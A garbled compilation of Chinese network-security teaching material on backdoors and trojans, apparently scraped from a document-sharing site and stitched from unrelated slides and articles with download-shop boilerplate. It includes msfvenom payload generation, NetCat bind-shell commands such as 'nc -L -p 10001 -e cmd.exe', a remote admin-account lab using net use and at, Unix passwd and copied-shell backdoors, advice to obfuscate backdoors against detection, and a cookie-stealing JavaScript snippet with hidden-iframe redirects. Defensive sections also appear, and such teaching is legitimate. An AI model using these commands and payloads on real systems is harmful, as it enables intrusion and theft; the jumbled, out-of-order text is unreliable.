网络安全后门教程
后门检测方法及流程
后门检测方法及流程下载温馨提示:该文档是我店铺精心编制而成，希望大家下载以后，能够帮助大家解决实际的问题。
文档下载后可定制随意修改，请根据实际需要进行相应的调整和使用，谢谢!并且，本店铺为大家提供各种各样类型的实用资料，如教育随笔、日记赏析、句子摘抄、古诗大全、经典美文、话题作文、工作总结、词语解析、文案摘录、其他资料等等，如想了解不同资料格式和写法，敬请关注!Download tips: This document is carefully compiled by theeditor. I hope that after you download them,they can help yousolve practical problems. The document can be customized andmodified after downloading,please adjust and use it according toactual needs, thank you!In addition, our shop provides you with various types ofpractical materials,such as educational essays, diaryappreciation,sentence excerpts,ancient poems,classic articles,topic composition,work summary,word parsing,copy excerpts,other materials and so on,want to know different data formats andwriting methods,please pay attention!1. 确定检测目标：明确需要检测的系统、网络或应用程序。
2. 收集信息：收集与目标相关的信息，包括系统架构、软件版本、网络拓扑等。
网络安全 第六章 网络后门与网络隐身
第六章网络后门与网络隐身1. 留后门的原则是什么？答：后门的好坏取决于被管理员发现的概率，留后门的原则就是不容易被发现，让管理员看了没有感觉、没有任何特别的地方。
2. 如何留后门程序？列举三种后门程序，并阐述原理及如何防御。
答：网络攻击经过踩点、扫描、入侵以后，如果攻击成功，一般就可以拿到管理员密码或者得到管理员权限。
第一，Login后门。
在Unix里，login程序通常用来对telnet来的用户进行口令验证。
入侵者获取login。
c的原代码并修改，使它在比较输入口令与存储口令时先检查后门口令。
如果用户敲入后门口令，它将忽视管理员设置的口令让你长驱直入。
这将允许入侵者进入任何账号，甚至是root。
由于后门口令是在用户真实登录并被日志记录到utmp和wtmp前产生一个访问的，所以入侵者可以登录获取shell却不会暴露该账号。
管理员注意到这种后门后，便用“strings”命令搜索login程序以寻找文本信息。
许多情况下后门口令会原形毕露。
入侵者就开始加密或者更好的隐藏口令，使strings命令失效。
所以更多的管理员是用MD5校验和检测这种后门的。
第二，线程插入后门。
这种后门在运行时没有进程，所有网络操作均播入到其他应用程序的进程中完成。
也就是说，即使受控制端安装的防火墙拥有“应用程序访问权限”的功能，也不能对这样的后门进行有效的警告和拦截，也就使对方的防火墙形同虚设！这种后门本身的功能比较强大，是现在非常主流的一种，对它的查杀比较困难，很让防护的人头疼。
第三，网页后门。
网页后门其实就是一段网页代码，主要以ASP和PHP代码为主。
由于这些代码都运行在服务器端，攻击者通过这段精心设计的代码，在服务器端进行某些危险的操作，获得某些敏感的技术信息或者通过渗透，提权获得服务器的控制权。
并且这也是攻击者控制服务器的一条通道，比一般的入侵更具有隐蔽性。
防御后门的方法主要有：建立良好的安全习惯，关闭或删除系统中不需要的服务，经常升级安全补丁，设置复杂的密码，迅速隔离受感染的计算机，经常了解一些反病毒资讯，安装专业的防毒软件进行全面监控等。
msf生成后门的方法
msf生成后门的方法介绍Metasploit Framework（元气师框架）是一款全球知名的开源网络安全工具，它提供了一系列用于开发和执行渗透测试的工具、脚本和Payloads。
其中，生成后门是Metasploit Framework 中的一个重要功能，通过后门可以在目标设备上实现远程控制和操控。
本文将详细介绍使用Metasploit Framework生成后门的方法。
什么是后门后门是指在计算机系统或网络中通过特殊手段设置的监控、控制和远程操作等功能，不为用户所知晓。
后门可被恶意利用，对信息系统和网络安全构成威胁。
在渗透测试和漏洞验证中，合法的后门被用来测试系统安全性。
Metasploit Framework简介Metasploit Framework是一款用于渗透测试的框架，它提供了全面的渗透测试工具、漏洞利用代码和Payloads。
Metasploit的核心是exploit模块，即用于利用已知漏洞的模块。
Metasploit支持多种操作系统和平台，并提供丰富的Payloads，可以用于生成各种不同类型的后门。
使用msfvenom生成payloadmsfvenom是Metasploit Framework中的一个用于生成定制化Payloads的工具。
它可以根据用户的需求生成各种类型的payload，如反向TCP shell、反向HTTP shell、反向Meterpreter shell等。
下面是使用msfvenom生成payload的步骤：1.打开Kali Linux的终端。
2.输入以下命令生成Payload：msfvenom -p [Payload] LHOST=[监听IP] LPORT=[监听端口] -f [格式] > [Payload文件名]具体选项和参数的含义如下： - -p [Payload]：Payload的类型，如windows/meterpreter/reverse_tcp表示生成反向TCP Meterpreter shell。
网络安全(黑客攻防)_脚本攻击与后门2
（2）A主机的DOS窗口中，输入net use \\192.168.0.250\ipc$ /user:admi nistrator命令，以管理员身份与B机建立连接。如果屏幕提示需要输入 口令，则输入B机管理员的口令，如图5－5。
图5－5 以管理员身份与B机相连
三、实验步骤(4)
4、在A主机上使用at命令让123.cmd文件在实 验机的某一指定时间运行。
（1）net time \\192.168.0.250 （2）at \\192.168.0.250 11:00 c:\123.cmd，（图5－6 A机 上使用at命令让B机在某一指定时间运行123.cmd文件。）。其 中，11：00为程序运行时间。 （3）查看程序123.cmd是否已经在B主机上得到运行：使用at \\192.168.0.250命令，如果屏幕提示清单是空的表明批处理 文件已经运行，（图5－7 查看123.cmd文件是否已经在B机上 运行）。这样，在B机上便建立一个具有超级用户权限的名为 jqm的用户帐号。
注意：对于黑客机，如果未启动Lanmanworkstation服务（它提供网络连接和 通讯），那么就无法向网络中的其它主机发起连接请求（显示名为 Workstation）。
⑤在每台主机上建立一个名为123.cmd的批处理文件，写入net share IPC$ /del语句。并且把123.cmd拖入桌面上的“开始”菜单―>“所有程 序”―>“启动”中。
一、实验目的
了解默认自动启动的Messenger服务的 安全隐患，利用该安全隐患发动攻击。
二、实验设备
2台以上的Windows主机，一台主机A为 Windows 2k Server，另一台主机B为 Windows的操作系统(如果B机为非WIN2k的 操作系统，需要保证“管理工具”中的 messenger服务为启动状态)。 Win2000
后门开发流程
后门开发流程后门开发流程后门开发是指在计算机系统、软件或移动设备中未公开的通道，是一种黑客或安全专家使用的技术手段。
在某些情况下，后门开发可以被用来解决一些特殊问题，例如帮助忘记密码的用户重置密码。
但在绝大部分情况下，后门开发是为了入侵他人系统，或偷取用户数据等非法用途。
本文将介绍后门开发的流程。
1. 收集目标系统信息首先，需要对目标系统进行分析并收集尽可能多的信息，该信息包括操作系统版本、安全服务、网络拓扑、用户权限、进程等等信息。
目的是为后续开发实现更精准的攻击服务。
此步骤可通过手工扫描和自动化工具来完成。
2. 选定攻击类别和方式根据收集到的目标系统信息，选择最适合该目标系统的攻击类别和方式，根据目标系统的特性，选择最适合的攻击方式。
最常见的攻击方式是利用系统漏洞，但随着网络安全技术的不断进步，现在的系统漏洞越来越难以利用。
因此，在开发后门时，除了漏洞外，还可以利用特殊的文件格式、强制加密或其它强行入侵的方式，来实现后门攻击。
3. 确定后门方式最常见的后门方式是添加钩子、替换关键函数、修改系统配置文件和添加特殊流量加密点等。
在确定后门方式时，需要结合目标系统的架构、协议和语言特性，选用最适合该系统的方式。
需要注意的是，任何已知的后门方式在新系统上实现时都需要重新检验。
4. 开发后门程序一旦确定后门方式，就要开始编写后门程序。
从应用场景考虑，后门程序必须具备足够的灵活性和可配置性。
同时，要在程序编写中运用一些高级技术，例如反射、加密、混淆和遮蔽等，以避开用户和安全软件的检测。
5. 测试和安装后门在实际应用中，需要经过严格的测试程序，确保后门程序可以正常运行且不会影响原系统的功能。
测试完后，将后门程序安装到目标系统，这通常要依靠一个针对该系统的漏洞。
如果目标系统有一个防火墙或加密软件，需要在后门开发过程中考虑这些功能的规避问题。
总之，后门开发是一项十分复杂的技术，在进行此类操作时需万分谨慎。
每个步骤都需要专业的技术框架和工具，同时也需要有一定的伦理和责任心。
后门程序(backdoor)
Unix/Linux简单后门 Unix/Linux简单后门
passwd文件后门:修改passwd文件, passwd文件后门:修改passwd文件,增加一个新帐号或是修 改已有的不用帐号。 rhosts文件后门:修改rhosts文件,增加一个IP地址。 rhosts文件后门:修改rhosts文件,增加一个IP地址。 复制shell后门: shell复制到其他目录: 复制shell后门:将shell复制到其他目录: cp /bin/sh /tmp/.mysh /bin/sh tmp/.mysh chmod u+x /tmp/.mysh tmp/.mysh Login后门:将系统原有的login程序替换为木马化的login程 Login后门:将系统原有的login程序替换为木马化的login程 序,后门口令被添加到login程序中,当用户输入口令与后门 后门口令被添加到login程序中, 口令一致时,直接进入系统,不会留下访问记录. 口令一致时,直接进入系统,不会留下访问记录.使用strings 命令搜索login程序可以发现后门口令。而黑客一般使用加 密或者其他更好的隐藏口令方式使的strings命令失效。
NetCat应用实例 NetCat应用实例
针对IIS 针对IIS 的植入后门案例
首先将NetCat上载至一个IIS 首先将NetCat上载至一个IIS Server nc –L –p 10001 –e cmd.exe
后门 原理
后门原理后门指的是一种通过特定的方式或手段，在软件系统或网络系统中暗中留下的一种隐藏入口或漏洞，用于绕过一般的认证授权机制，以获取非法的访问权限或执行未经授权的操作。
其原理主要分为以下几种：1. 弱口令：一些系统或应用程序默认采用弱口令，如管理员账号通常设置为默认的用户名和密码，攻击者可以通过简单的尝试或使用常见弱口令的字典攻击来猜解密码，从而获取系统访问权限。
2. 逻辑漏洞：软件系统在设计或实现过程中存在的程序错误或逻辑缺陷，攻击者可以利用这些漏洞绕过一般的认证授权机制。
3. 后门程序：攻击者在系统或应用程序中植入恶意的后门程序，这些后门程序可以在特定条件下被触发，从而获取系统权限或执行未经授权的操作。
4. 隐蔽通道：攻击者利用网络通信协议或其他通信机制的漏洞，设置一种双向的信息传输路径，使得在正常协议规定的范围之外进行数据传输，从而绕过系统访问控制。
5. 物理入侵：攻击者通过非法手段进入计算机系统或网络设备的物理空间，例如获取机房访问权限、截取网络数据线路等，在物理层面上绕过安全控制。
为了防范后门的存在，系统管理员和软件开发者应该采取以下措施：- 加强口令策略：使用强密码，并定期更换密码，避免常用的弱口令组合。
- 定期更新和修补系统和应用程序：及时安装最新的补丁和更新，修复系统中已知的漏洞。
- 使用防火墙和入侵检测系统：设置网络边界的安全防护措施，及时检测并阻止恶意入侵行为。
- 限制用户权限：将系统用户的访问权限控制在最小化范围内，避免赋予不必要的高权限。
- 审计和监控：定期进行系统日志的审计和监控，及时发现和排查异常行为。
- 加强物理安全措施：对于服务器房间等关键区域，加强门禁控制和监控设施，防止物理入侵。
网络安全教程网络后门与网络隐身
设置代理跳板 清除系统日志。
网络后门
网络后门是保持对目标主机长久控制的关键策略。可以通 过建立服务端口和克隆管理员帐号来实现。
留后门的艺术
只要能不通过正常登录进入系统的途径都称之为网络后门。后门 的好坏取决于被管理员发现的概率。只要是不容易被发现的后门 都是好后门。留后门的原理和选间谍是一样的，让管理员看了感 觉没有任何特别的。
利用工具软件Win2kPass.exe记录修改的新密码，该软件将 密码记录在Winnt\temp目录下的Config.ini文件中，有时 候文件名可能不是Config，但是扩展名一定是ini，该工具 软件是有“自杀”的功能，就是当执行完毕后，自动删除 自己。
记录管理员口令修改过程
首先在对方操作系统中执行Win2KPass.exe文件， 当对方主机管理员密码修改并重启计算机以后， 就在Winnt\temp目录下产生一个ini文件，如图 6-7所示。
下面在对方主机的命令行下修改Guest的用户属 性，注意：一定要在命令行下。
首先修改Guest帐户的密码，比如这里改成 “123456”，并将Guest帐户开启和停止，如图 6-28所示。
查看guest帐户属性
再查看一下计算机管理窗口中的Guest帐 户，发现该帐户使禁用的，如图6-29所 示。
利用禁用的guest帐户登录
注销退出系统，然后用用户名：“guest”，密 码：“123456”登录系统，如图6-30所示。
连接终端服务的软件
终端服务是Windows操作系统自带的，可以远程 通过图形界面操纵服务器。在默认的情况下终 端服务的端口号是3389。可以在系统服务中查 看终端服务是否启动，如图6-31所示。
Web方式连接
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
• cshell.exe
2012-6-20 5
其他Windows下的后门程序
• CryptCat • Tini
– 提供通向Tcp端口7777，只有3K。
• ……
2012-6-20
6
2012-6-20
7
无端口后门-如何唤醒
• ICMP后门
– 不使用TCP/UDP协议。 – 使用ICMP协议进行通信。 – 难以检测。
2012-6-20 27
网页病毒的传播方式
• 1-美丽的网页名称，以及利用浏览者的 无知. • URL1: /images/mm/plmm001. gif • URL2: @/im ages/mm/plmm001.gif
2012-6-20 31
email传播网页
3. <frameset cols=“100%,*”> <frame src=“http://xxxx” scrolling=“auto”> </frameset> 4. <meta http-equiv=“refresh” content=“0; URL=http://xxxx” > 5 <iframe src="/index.html" width=0 height=0 frameborder=0></IFRAME>
2012-6-20 29
Flash传播网页
• 用Flash MX制作： 第一帧，打开动作面板，进入 Actions\Brower\NetWork\GetUrl http://网页木马地址， windows:_self 第二帧， Actions\Brower\NetWork\loadmovie http://…*.swf
2012-6-20 16
如何防御后门 --无端口后门
• 查找不寻常的程序 • 查找不寻常的进程 • 利用基于网络的IDS查找隐蔽的后门命令， 如Snort。 • 检测本地和网络中的混杂模式的网卡
– 本地检测嗅探器（Promiscdetect.exe） – 远程检测嗅探器（Sentinel,AntiSniff）
受害主机 木马
(1 )木 马 通 道 的 配 置 参 数 控制端 (2 )木 马 通 道 的 响 应 参 数 （ c） 建 立 木 马 通 道
受害主机 木马
图 7 .1 木 马 的 工 作 原 理
2012-6-20
21
2.1名字欺骗
修改文件的文件名以欺骗用户 • 与Windows扩展名放在一起
– Beauty.jpg .exe
2012-6-20
2
后门的类型
• 本地权限的提升
– 对系统有访问权的攻击者变换其权限等级成为管理员，然后攻击者 可以重新设置该系统或访问人和存储在系统中的文件。
• 单个命令的远程执行
– 攻击者可以向目标计算机发送消息。每次执行一个单独的命令，后 门执行攻击者的命令并将输出返回给攻击者。
• 远程命令行解释器访问
2012-6-20 13
检测Windows后门启动技术
• 手工检测
– – – – – 注册表启动键值 启动选项 关联方式 计划任务 …
• 利用工具检测
– Msconfig – AutoRuns
• /Utilities/Autoruns.html
– 压缩软件（winrar）
• WinRMSetup30.exe
• 防御
– 使用反病毒软件进行检测，并及时更新病毒库。
2012-6-20 24
2.3软件下载
• 从网上下载的软件是你真正需要的软件 吗？ • 从网上下载的软件是否被恶意修改过？ 防御措施
– 用户注意 – 完整性检测（如MD5,FileChecker） – 小心测试新软件
恶意软件（病毒）的分析与防范 Defence & analysis of malware
计算机学院 傅建明 Fujms@
2012-6-20
1
后门
• 后门是一个允许攻击者绕过系统中常规 安全控制机制的程序，他按照攻击者自 己的意图提供通道。 • 后门的重点在于为攻击者提供进入目标 计算机的通道。
– 正如远程Shell，这类后门允许攻击者通过网络快速直接地键入受害 计算机的命令提示。其比“单个命令的远程执行”要强大得多。
• 远程控制GUI
– 攻击者可以看到目标计算机的GUI，控制鼠标的移动，输入对键盘的 操作，这些都通过网络实现。
2012-6-20
3
后门的安装
• 自己植入（物理接触或入侵之后） • 通过病毒、蠕虫和恶意移动代码 • 欺骗受害者自己安装
– – – – Email 远程共享 BT下载 ……
4
2012-6-20
后门举例
• NetCat：通用的网络连接工具
用法一：
nc –l –p 5000 –e cmd.exe nc 127.0.0.1 5000
用法二：
nc –l –p 5000 nc 127.0.0.1 5000 –e cmd.exe
• 模仿其他文件名
– httpd,iexplore,notepad,ups,svchost… – 不能用“任务管理器”删除的进程名
• Csrss.exe,services.exe,smss.exe,winlogon.exe,system,system idle process
• 路径威胁
– 如将木马命名为explorer.exe放在C:\下。
2012-6-20 22
对命名陷阱的防御
• 确定指定进程属于哪个程序
– Fport,icesword,tcpview…
• 使用杀进程工具进行查杀
– Pskill,icesword…
2012-6-20
23
2.2 文件捆绑
• 恶意程序与正常程序捆绑
– 捆绑工具
• EXE捆绑机,Wrappers,binders,EXE binders…… • CHM, Flash….
2012-6-20 25
2.4 软件本身带毒
• 内部员工注入恶意代码 • 软件开发的全球化趋势
– 多个部门联合开发软件，一层层的外包
2012-6-20
26
2.5 Html传播
• • • • • 网页病毒的传播方式 Flash传播网页 email传播网页 Chm 传播网页木马 Exe2bmp
• 正常网页中携带
2012-6-20 30
email传播网页
1. <script language =javascript> Window.open(“/info.asp?msg=„ +document.cookie”) </script> 2. <body onload=“windows.location=„http://xxxx‟;”> </body>
– VNC server及VNC viewer。
• VNC server 与 VNC viewer 支持多种操作系统，如 windows，Linux，MacOS 及 Unix 系列（Unix， Solaris等），因此可将 VNC server 及 VNC viewer 分别安装在不同的操作系统中进行控制。 • 也可以通过一般的网络浏览器（如 IE 等）来控制 被控端（需要 Java 虚拟机的支持）。
2012-6-20 17
2. 特洛伊木马
• 特洛伊木马是一个程序，他看起来具有 某个有用的或善意的目的，但是实际上 掩盖着一些隐藏的恶意功能。
– 欺骗用户或者系统管理员安装 – 在计算机上与“正常”的程序一起混合运行， 将自己伪装得看起来属于该系统。
2012-6-20
18
后门 VS 特洛伊木马
• 如果一个程序仅仅提供远程访问，那么 它只是一个后门。 • 如果攻击者将这些后门功能伪装成某些 其他良性程序，那么就涉及到真正的特 洛伊木马。
(1 ) em ail (木 马 ) (1 ) 端 口 扫 描 受害主机 （ 2 ） O IC Q (木 马 ) (3 ) W eb /FT P /B B S (木 马 ) 互联网 受害主机 木马 （远程服务器） (4 ) viru s/w o rm (木 马 ) (5 ) 磁 盘 /光 盘 （ 木 马 ） 其它介质 （ a） 中 木 马 的 途 径 （ b） 木 马 与 控 制 端 的 首 次 握 手 木马通道 (1 ) 命 令 控制端 (2 ) 数 据 （ d） 控 制 端 与 木 马 的 交 互 (2 ) em ail (3 ) U D P 通 告 控制端
• 并非所有的GUI远程控制都是恶意的
– – – – – VNC(Virtual Network Computing) Windows Terminal Services PCAnywhere Back Orifice 2000 SubSeven
2012-6-20
10
VNC
• 英国剑桥大学AT&T实验室在2002年开发的轻量型 的远程控制计算机软件，任何人都可免费取得该软 件。 • VNC软件主要由两个部分组成：
2012-6-20
19
特洛伊木马
木马系统软件一般由木马配置程序、控制端程序 和木马程序(服务器程序)等三部分组成。 木马程序，也称服务器程序，它驻留在受害者的 系统中，非法获取其操作权限，负责接收控制 端指令，并根据指令或配置发送数据给控制端。 木马配置程序设置木马程序的端口号、触发条件、 木马名称等，使其在服务端藏得更隐蔽，有时 该配置功能被集成在控制端程序菜单内，不单 独作为一个程序。 控制端程序控制远程服务器，有些程序集成了木 马配置的功能。 2012-6-20 20
2012-6-20 11
VNC
程 序 举 例
2012-6-20